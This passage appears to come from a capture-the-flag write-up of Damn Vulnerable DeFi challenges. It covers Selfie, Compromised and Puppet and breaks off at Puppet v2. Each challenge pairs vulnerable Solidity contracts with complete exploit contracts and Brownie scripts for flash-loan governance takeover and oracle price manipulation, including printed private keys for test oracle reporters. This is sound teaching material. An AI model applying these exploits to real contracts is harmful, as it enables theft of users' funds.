liquidityToken.approve(rewarderPool, amount, {'from': i})
rewarderPool.deposit(amount, {'from': i})
assert accountingToken.balanceOf(i) == amount

assert accountingToken.totalSupply() == Wei("400 ether")
assert rewardToken.totalSupply() == 0

chain.sleep(60 * 60 * 24 * 5)

for i in users:
rewarderPool.distributeRewards({'from': i})
assert rewardToken.balanceOf(i) == Wei("25 ether")

assert rewardToken.totalSupply() == Wei("100 ether")
assert liquidityToken.balanceOf(attacker) == 0
assert rewarderPool.roundNumber() == 2

return deployer, attacker, users, liquidityToken, flash_pool, rewarderPool, rewardToken, accountingToken


def exploit(attacker, liquidityToken, flash_pool, rewarderPool, rewardToken):
chain.sleep(60 * 60 * 24 * 5)
exploit = therewarder_Exploit.deploy(
rewarderPool, flash_pool, liquidityToken, rewardToken, {'from': attacker})
exploit.exploit({'from': attacker})


def after(attacker, users, rewarderPool, rewardToken, liquidityToken):
assert rewarderPool.roundNumber() == 3

for i in users:
rewarderPool.distributeRewards({'from': i})
rewards = rewardToken.balanceOf(i)

delta = rewards - Wei("25 ether")
assert delta < Wei("0.01 ether")

assert rewardToken.totalSupply() > Wei("100 ether")
rewards = rewardToken.balanceOf(attacker)

delta = Wei("100 ether") - rewards
assert delta < Wei("0.1 ether")

assert liquidityToken.balanceOf(attacker) == 0


def main():
deployer, attacker, users, liquidityToken, flash_pool, rewarderPool, rewardToken, accountingToken = deploy()

exploit(attacker, liquidityToken, flash_pool, rewarderPool, rewardToken)

after(attacker, users, rewarderPool, rewardToken, liquidityToken)


Selfie

A new cool lending pool has launched! It’s now offering flash loans of DVT tokens.

Wow, and it even includes a really fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.

SelfiePool.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";

/**
* @title SelfiePool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SelfiePool is ReentrancyGuard {

using Address for address;

ERC20Snapshot public token;
SimpleGovernance public governance;

event FundsDrained(address indexed receiver, uint256 amount);

modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}

constructor(address tokenAddress, address governanceAddress) {
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
}

function flashLoan(uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

token.transfer(msg.sender, borrowAmount);

require(msg.sender.isContract(), "Sender must be a deployed contract");
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);

uint256 balanceAfter = token.balanceOf(address(this));

require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);

emit FundsDrained(receiver, amount);
}
}

SimpleGovernance.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
* @title SimpleGovernance
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SimpleGovernance {

using Address for address;

struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}

DamnValuableTokenSnapshot public governanceToken;

mapping(uint256 => GovernanceAction) public actions;
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);

constructor(address governanceTokenAddress) {
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
}

function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");

uint256 actionId = actionCounter;

GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;

actionCounter++;

emit ActionQueued(actionId, msg.sender);
return actionId;
}

function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");

GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;

actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);

emit ActionExecuted(actionId, msg.sender);
}

function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}

/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}

function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}

To complete this challenge, we need to drain the funds. Fortunately, we have a specific function named drainAllFunds() to do that, but it can only get executed by the SimpleGovernance contract. Since we can propose to execute a function, we can make a SimpleGovernance contract to execute the drainAllFund() function for us. To that, we need more than half DVTs, so we should take a flash loan and call snapshot() to trick the _hasEnoughVotes() function just like in the previous challenge proposed. Now, after the execution, we get all the funds.

selfie_exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface SelfiePool {
function flashLoan(uint256 borrowAmount) external;
}

interface SimpleGovernance {
function queueAction(
address receiver,
bytes calldata data,
uint256 weiAmount
) external returns (uint256);

function executeAction(uint256 actionId) external payable;
}

interface DamnValuableTokenSnapshot {
function snapshot() external returns (uint256);

function transfer(address acount, uint256 amount) external;
}

contract selfie_Exploit {
SelfiePool pool;
SimpleGovernance governance;
uint256 actId;

constructor(address _address, address __address) {
pool = SelfiePool(_address);
governance = SimpleGovernance(__address);
}

function receiveTokens(address _address, uint256 amount) external {
require(msg.sender == address(pool));
DamnValuableTokenSnapshot(_address).snapshot();
DamnValuableTokenSnapshot(_address).transfer(msg.sender, amount);
}

function setExploit(uint256 amount) public {
pool.flashLoan(amount);
actId = governance.queueAction(
address(pool),
abi.encodeWithSignature("drainAllFunds(address)", msg.sender),
0
);
}

function executeExploit() public {
governance.executeAction(actId);
}
}

selfie.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from brownie import DamnValuableTokenSnapshot, SimpleGovernance, SelfiePool, selfie_Exploit, accounts, chain


TOKEN_INITIAL_SUPPLY = 2000000
TOKENS_IN_POOL = 1500000


def deploy():
deployer, attacker = accounts[:2]

token = DamnValuableTokenSnapshot.deploy(
TOKEN_INITIAL_SUPPLY, {'from': deployer})
governance = SimpleGovernance.deploy(token, {'from': deployer})
pool = SelfiePool.deploy(token, governance, {'from': deployer})

token.transfer(pool, TOKENS_IN_POOL, {'from': deployer})

assert token.balanceOf(pool) == TOKENS_IN_POOL

return deployer, attacker, token, pool, governance


def exploit(attacker, governance, pool):
exploit = selfie_Exploit.deploy(pool, governance, {'from': attacker})
exploit.setExploit(TOKENS_IN_POOL, {'from': attacker})
chain.sleep(60 * 60 * 24 * 2)
exploit.executeExploit()


def after(attacker, token, pool):

assert token.balanceOf(attacker) == TOKENS_IN_POOL
assert token.balanceOf(pool) == 0


def main():
deployer, attacker, token, pool, governance = deploy()

exploit(attacker, governance, pool)

after(attacker, token, pool)


Compromised

While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. This is a snippet:

1
2
3
4
5
6
7
8
9
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each

This price is fetched from an on-chain oracle, and is based on three trusted reporters: 0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15
and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.

Starting with only 0.1 ETH in balance, you must steal all ETH available in the exchange.

TrustfulOracleInitializer.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./TrustfulOracle.sol";

/**
* @title TrustfulOracleInitializer
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrustfulOracleInitializer {

event NewTrustfulOracle(address oracleAddress);

TrustfulOracle public oracle;

constructor(
address[] memory sources,
string[] memory symbols,
uint256[] memory initialPrices
)
{
oracle = new TrustfulOracle(sources, true);
oracle.setupInitialPrices(sources, symbols, initialPrices);
emit NewTrustfulOracle(address(oracle));
}
}

TrustfulOracle.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";

/**
* @title TrustfulOracle
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice A price oracle with a number of trusted sources that individually report prices for symbols.
* The oracle's price for a given symbol is the median price of the symbol over all sources.
*/
contract TrustfulOracle is AccessControlEnumerable {

bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");

// Source address => (symbol => price)
mapping(address => mapping (string => uint256)) private pricesBySource;

modifier onlyTrustedSource() {
require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));
_;
}

modifier onlyInitializer() {
require(hasRole(INITIALIZER_ROLE, msg.sender));
_;
}

event UpdatedPrice(
address indexed source,
string indexed symbol,
uint256 oldPrice,
uint256 newPrice
);

constructor(address[] memory sources, bool enableInitialization) {
require(sources.length > 0);
for(uint256 i = 0; i < sources.length; i++) {
_setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
}

if (enableInitialization) {
_setupRole(INITIALIZER_ROLE, msg.sender);
}
}

// A handy utility allowing the deployer to setup initial prices (only once)
function setupInitialPrices(
address[] memory sources,
string[] memory symbols,
uint256[] memory prices
)
public
onlyInitializer
{
// Only allow one (symbol, price) per source
require(sources.length == symbols.length && symbols.length == prices.length);
for(uint256 i = 0; i < sources.length; i++) {
_setPrice(sources[i], symbols[i], prices[i]);
}
renounceRole(INITIALIZER_ROLE, msg.sender);
}

function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
_setPrice(msg.sender, symbol, newPrice);
}

function getMedianPrice(string calldata symbol) external view returns (uint256) {
return _computeMedianPrice(symbol);
}

function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {
uint256 numberOfSources = getNumberOfSources();
uint256[] memory prices = new uint256[](numberOfSources);

for (uint256 i = 0; i < numberOfSources; i++) {
address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
prices[i] = getPriceBySource(symbol, source);
}

return prices;
}

function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
return pricesBySource[source][symbol];
}

function getNumberOfSources() public view returns (uint256) {
return getRoleMemberCount(TRUSTED_SOURCE_ROLE);
}

function _setPrice(address source, string memory symbol, uint256 newPrice) private {
uint256 oldPrice = pricesBySource[source][symbol];
pricesBySource[source][symbol] = newPrice;
emit UpdatedPrice(source, symbol, oldPrice, newPrice);
}

function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));

// calculate median price
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}

function _sort(uint256[] memory arrayOfNumbers) private pure returns (uint256[] memory) {
for (uint256 i = 0; i < arrayOfNumbers.length; i++) {
for (uint256 j = i + 1; j < arrayOfNumbers.length; j++) {
if (arrayOfNumbers[i] > arrayOfNumbers[j]) {
uint256 tmp = arrayOfNumbers[i];
arrayOfNumbers[i] = arrayOfNumbers[j];
arrayOfNumbers[j] = tmp;
}
}
}
return arrayOfNumbers;
}
}

Exchange.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

import "./TrustfulOracle.sol";
import "../DamnValuableNFT.sol";

/**
* @title Exchange
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract Exchange is ReentrancyGuard {

using Address for address payable;

DamnValuableNFT public immutable token;
TrustfulOracle public immutable oracle;

event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
event TokenSold(address indexed seller, uint256 tokenId, uint256 price);

constructor(address oracleAddress) payable {
token = new DamnValuableNFT();
oracle = TrustfulOracle(oracleAddress);
}

function buyOne() external payable nonReentrant returns (uint256) {
uint256 amountPaidInWei = msg.value;
require(amountPaidInWei > 0, "Amount paid must be greater than zero");

// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");

uint256 tokenId = token.safeMint(msg.sender);

payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);

emit TokenBought(msg.sender, tokenId, currentPriceInWei);

return tokenId;
}

function sellOne(uint256 tokenId) external nonReentrant {
require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");
require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");

// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");

token.transferFrom(msg.sender, address(this), tokenId);
token.burn(tokenId);

payable(msg.sender).sendValue(currentPriceInWei);

emit TokenSold(msg.sender, tokenId, currentPriceInWei);
}

receive() external payable {}
}

We must steal the funds from the exchange contract to complete this challenge. To do that, we can buy a DVNFT at a low price and sell at a high price, here instead of waiting for the price to increase, we can manipulate the price of the token since we have 2 of the private keys of the TrustedSources.

compromised.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from brownie import DamnValuableNFT, Exchange, TrustfulOracle, TrustfulOracleInitializer, accounts, chain, Wei, web3

sources = [
'0xA73209FB1a42495120166736362A1DfA9F95A105',
'0xe92401A4d3af5E446d93D11EEc806b1462b39D15',
'0x81A5D6E50C214044bE44cA0CB057fe119097850c'
]

EXCHANGE_INITIAL_ETH_BALANCE = Wei('9990 ether')
INITIAL_NFT_PRICE = Wei('999 ether')


def deploy():
deployer, attacker = accounts[:2]

for i in sources:
deployer.transfer(i, "2 ether")
assert web3.eth.getBalance(i) == Wei('2 ether')

attacker.transfer(deployer, attacker.balance()-"0.1 ether")
assert attacker.balance() == "0.1 ether"

oracle = TrustfulOracle.at(
TrustfulOracleInitializer.deploy(
sources,
['DVNFT', 'DVNFT', 'DVNFT'],
[INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE],
{'from': deployer}
).oracle()
)

exchange = Exchange.deploy(
oracle, {'from': deployer, 'value': EXCHANGE_INITIAL_ETH_BALANCE})

nftToken = DamnValuableNFT.at(exchange.token())

return deployer, attacker, nftToken, exchange, oracle


def exploit(attacker, nftToken, exchange, oracle):

private_keys = ['0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9',
'0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48']
compromised_users = [accounts.add(i) for i in private_keys]

buying_prices = ['0 ether', '0.1 ether']
selling_prices = [exchange.balance() + '0.1 ether', '100000 ether']
reset_prices = [INITIAL_NFT_PRICE]*2

for i, j in enumerate(compromised_users):
oracle.postPrice('DVNFT', buying_prices[i], {'from': j})

tokenId = exchange.buyOne(
{'from': attacker, 'value': '0.1 ether'}).return_value

for i, j in enumerate(compromised_users):
oracle.postPrice('DVNFT', selling_prices[i], {'from': j})

nftToken.approve(exchange, tokenId, {'from': attacker})
exchange.sellOne(tokenId, {'from': attacker})

for i, j in enumerate(compromised_users):
oracle.postPrice('DVNFT', reset_prices[i], {'from': j})


def after(attacker, nftToken, exchange, oracle):

assert exchange.balance() == 0
assert attacker.balance() > EXCHANGE_INITIAL_ETH_BALANCE
assert nftToken.balanceOf(attacker) == 0
assert oracle.getMedianPrice('DVNFT') == INITIAL_NFT_PRICE


def main():
deployer, attacker, nftToken, exchange, oracle = deploy()

exploit(attacker, nftToken, exchange, oracle)

after(attacker, nftToken, exchange, oracle)

Puppet

There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

PuppetPool.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
* @title PuppetPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetPool is ReentrancyGuard {

using Address for address payable;

mapping(address => uint256) public deposits;
address public immutable uniswapPair;
DamnValuableToken public immutable token;

event Borrowed(address indexed account, uint256 depositRequired, uint256 borrowAmount);

constructor (address tokenAddress, address uniswapPairAddress) {
token = DamnValuableToken(tokenAddress);
uniswapPair = uniswapPairAddress;
}

// Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(borrowAmount);

require(msg.value >= depositRequired, "Not depositing enough collateral");

if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}

deposits[msg.sender] = deposits[msg.sender] + depositRequired;

// Fails if the pool doesn't have enough tokens in liquidity
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");

emit Borrowed(msg.sender, depositRequired, borrowAmount);
}

function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}

function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

/**
... functions to deposit, redeem, repay, calculate interest, and so on ...
*/

}

We must steal all the tokens from the PuppetPool contract to complete this challenge. Since the contract is calculating the price of a token from the uniswap_exchange ether balance divided by the token balance, we can swap our tokens to ether from uniswap to manipulate the price of the token in PuppetPool‘s borrow() function and get all the tokens with a low price.

Puppet.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import json
from decimal import Decimal
from web3 import Web3
from brownie import Contract, accounts, DamnValuableToken, PuppetPool, chain, Wei

RANDOM_ADDRESS = '0x5832727e34162736F3e7082EDad9DCfD76e15D0a'
RANDOM_ADDRESS_PK = '57f7f022e5941d0573114e2aab6e08aeb9a6f28b42d48e63a374783d7f1fdadb'

UNISWAP_INITIAL_TOKEN_RESERVE = Web3.toWei(10, 'ether')
UNISWAP_INITIAL_ETH_RESERVE = Web3.toWei(10, 'ether')

ATTACKER_INITIAL_TOKEN_BALANCE = Web3.toWei(1000, 'ether')
ATTACKER_INITIAL_ETH_BALANCE = Web3.toWei(25, 'ether')
POOL_INITIAL_TOKEN_BALANCE = Web3.toWei(100000, 'ether')


def load_json(json_file):
with open(f'./scripts/build-uniswap-v1/{json_file}', 'r') as f:
contract_metadata = json.loads(f.read())
contract_abi = contract_metadata['abi']
contract_bytecode = contract_metadata['evm']['bytecode']['object']
return contract_abi, contract_bytecode


def deploy_bytecode(contract_abi, contract_bytecode):

# This will connect to Brownie's ganache instance
w3_client = Web3(Web3.HTTPProvider('http://0.0.0.0:8545'))

temp_contract = w3_client.eth.contract(
abi=contract_abi, bytecode=contract_bytecode)
n = w3_client.eth.get_transaction_count(RANDOM_ADDRESS)
tx = temp_contract.constructor().buildTransaction(
{'from': RANDOM_ADDRESS, 'nonce': n, 'gasPrice': w3_client.eth.gas_price}
)
signed_tx = w3_client.eth.account.sign_transaction(
tx, private_key=RANDOM_ADDRESS_PK)

accounts[0].transfer(RANDOM_ADDRESS, '1 ether')
txh = w3_client.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3_client.eth.wait_for_transaction_receipt(txh)

return tx_receipt.contractAddress

# From: https://github.com/wuwe1/damn-vulnerable-defi-brownie/blob/ec115648cc319811ef09519c433bce9772753cd9/tests/test_puppet.py#L48


def calculate_token_to_eth_input_price(token_sold, token_in_reserve, ether_in_reserve):
token_sold = Decimal(token_sold)
token_in_reserve = Decimal(token_in_reserve)
ether_in_reserve = Decimal(ether_in_reserve)
return Wei(
token_sold
* 997
* ether_in_reserve
/ (token_in_reserve * 1000 + token_sold * 997))


def deploy():
# deploy script is from https://github.com/nahueldsanchez/dvd_brownie

damn_valuable_token = DamnValuableToken.deploy({'from': accounts[0]})

uniswap_factory_abi, uniswap_factory_bytecode = load_json(
'UniswapV1Factory.json')
uniswap_factory_address = deploy_bytecode(
uniswap_factory_abi, uniswap_factory_bytecode
)
uniswap_factory = Contract.from_abi(
'UniswapV1Factory', uniswap_factory_address, uniswap_factory_abi
)

uniswap_exchange_abi, uniswap_exchange_bytecode = load_json(
'UniswapV1Exchange.json'
)
uniswap_exchange_address = deploy_bytecode(
uniswap_exchange_abi, uniswap_exchange_bytecode
)
uniswap_exchange_template = Contract.from_abi(
'UniswapV1ExchangeTemplate', uniswap_exchange_address, uniswap_exchange_abi
)

uniswap_factory.initializeFactory(
uniswap_exchange_template, {'from': accounts[0]})
tx = uniswap_factory.createExchange(
damn_valuable_token, {'from': accounts[0]})

new_exchange_address = tx.events['NewExchange']['exchange']
uniswap_exchange = Contract.from_abi(
'UniswapV1Exchange', new_exchange_address, uniswap_exchange_abi
)

lending_pool = PuppetPool.deploy(
damn_valuable_token, new_exchange_address, {'from': accounts[0]}
)

damn_valuable_token.approve(
new_exchange_address, UNISWAP_INITIAL_TOKEN_RESERVE)

deadline = chain[-1].timestamp * 2

uniswap_exchange.addLiquidity(
0,
UNISWAP_INITIAL_TOKEN_RESERVE,
deadline,
{'value': UNISWAP_INITIAL_ETH_RESERVE, 'from': accounts[0]},
)

assert uniswap_exchange.getTokenToEthInputPrice(
Web3.toWei(1, 'ether')
) == calculate_token_to_eth_input_price(
Web3.toWei(1, 'ether'),
UNISWAP_INITIAL_TOKEN_RESERVE,
UNISWAP_INITIAL_ETH_RESERVE,
)

ATTACKER_ACCOUNT = accounts.add()
accounts[1].transfer(ATTACKER_ACCOUNT, '25 ether')
assert ATTACKER_ACCOUNT.balance() == ATTACKER_INITIAL_ETH_BALANCE

damn_valuable_token.transfer(
ATTACKER_ACCOUNT, ATTACKER_INITIAL_TOKEN_BALANCE)
damn_valuable_token.transfer(lending_pool, POOL_INITIAL_TOKEN_BALANCE)

assert lending_pool.calculateDepositRequired(
Web3.toWei(1, 'ether')) == Web3.toWei(2, 'ether')
assert lending_pool.calculateDepositRequired(
POOL_INITIAL_TOKEN_BALANCE) == POOL_INITIAL_TOKEN_BALANCE * 2

return uniswap_exchange, lending_pool, damn_valuable_token, ATTACKER_ACCOUNT


def exploit(token, lending_pool, uniswap_exchange, attacker):
token.approve(uniswap_exchange, ATTACKER_INITIAL_TOKEN_BALANCE, {
'from': attacker})
uniswap_exchange.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE, 10**18, chain[-1].timestamp * 2, {'from': attacker})
deposit_required = lending_pool.calculateDepositRequired(
POOL_INITIAL_TOKEN_BALANCE)
lending_pool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
'from': attacker, 'value': deposit_required})


def after(token, lending_pool, attacker):
assert token.balanceOf(lending_pool) == 0
assert token.balanceOf(attacker) == POOL_INITIAL_TOKEN_BALANCE


def main():
uniswap_exchange, lending_pool, damn_valuable_token, ATTACKER_ACCOUNT = deploy()
exploit(damn_valuable_token, lending_pool,
uniswap_exchange, ATTACKER_ACCOUNT)
after(damn_valuable_token, lending_pool, ATTACKER_ACCOUNT)

Puppet v2

The developers of the last lending pool are saying that they’ve learned the lesson. And just released a new version!

Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.

You start with 20 ETH and 10000 DVT tokens in balance. The new lending pool has a million DVT tokens in balance. You know what to do ;)

PuppetV2Pool.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol";

interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external returns (uint256);
}

/**
* @title PuppetV2Pool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetV2Pool {
using SafeMath for uint256;

address private _uniswapPair;
address private _uniswapFactory;
IERC20 private _token;
IERC20 private _weth;

mapping(address => uint256) public deposits;

event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);

constructor (
address wethAddress,
address tokenAddress,
address uniswapPairAddress,
address uniswapFactoryAddress
) public {
_weth = IERC20(wethAddress);
_token = IERC20(tokenAddress);
_uniswapPair = uniswapPairAddress;
_uniswapFactory = uniswapFactoryAddress;
}

/**
* @notice Allows borrowing `borrowAmount` of tokens by first depositing three times their value in WETH
